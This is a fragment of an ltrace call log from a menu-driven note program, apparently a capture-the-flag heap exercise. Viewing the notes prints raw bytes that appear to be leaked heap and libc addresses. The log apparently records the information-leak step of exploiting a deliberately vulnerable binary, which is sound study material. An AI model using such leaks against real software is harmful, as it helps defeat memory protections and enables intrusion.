189 | puts("Done~") = 6 190 | puts("\n*******************************"...) = 50 191 | puts("* "...) = 49 192 | puts("* 1 - Add Note "...) = 49 193 | puts("* 2 - View Note "...) = 49 194 | puts("* 3 - Del Note "...) = 49 195 | puts("* 4 - Exit "...) = 49 196 | puts("* "...) = 49 197 | puts("********************************"...) = 49 198 | printf("Your choice: ") = 13 199 | read(0, "2\n", 16) = 2 200 | atoi(0x7ffc9ac88040, 0x7ffc9ac88040, 1, 0x7ff5e871e081) = 2 201 | printf("Note %d:\n", 1) = 8 202 | printf("\tTitle: %s\n\tDes: %s\n", "3", "\300\243\314\035_U") = 23 203 | printf("Note %d:\n", 2) = 8 204 | printf("\tTitle: %s\n\tDes: %s\n", "4", "") = 17 205 | printf("Note %d:\n", 3) = 8 206 | printf("\tTitle: %s\n\tDes: %s\n", "5", "") = 17 207 | printf("Note %d:\n", 4) = 8 208 | printf("\tTitle: %s\n\tDes: %s\n", "6", "") = 17 209 | printf("Note %d:\n", 5) = 8 210 | printf("\tTitle: %s\n\tDes: %s\n", "8", "") = 17 211 | printf("Note %d:\n", 6) = 8 212 | printf("\tTitle: %s\n\tDes: %s\n", "9", "") = 17 213 | printf("Note %d:\n", 7) = 8 214 | printf("\tTitle: %s\n\tDes: %s\n", "10", "") = 18 215 | printf("Note %d:\n", 8) = 8 216 | printf("\tTitle: %s\n\tDes: %s\n", "12", "\300\242\237\350\365\177") = 24 --------------------------------------------------------------------------------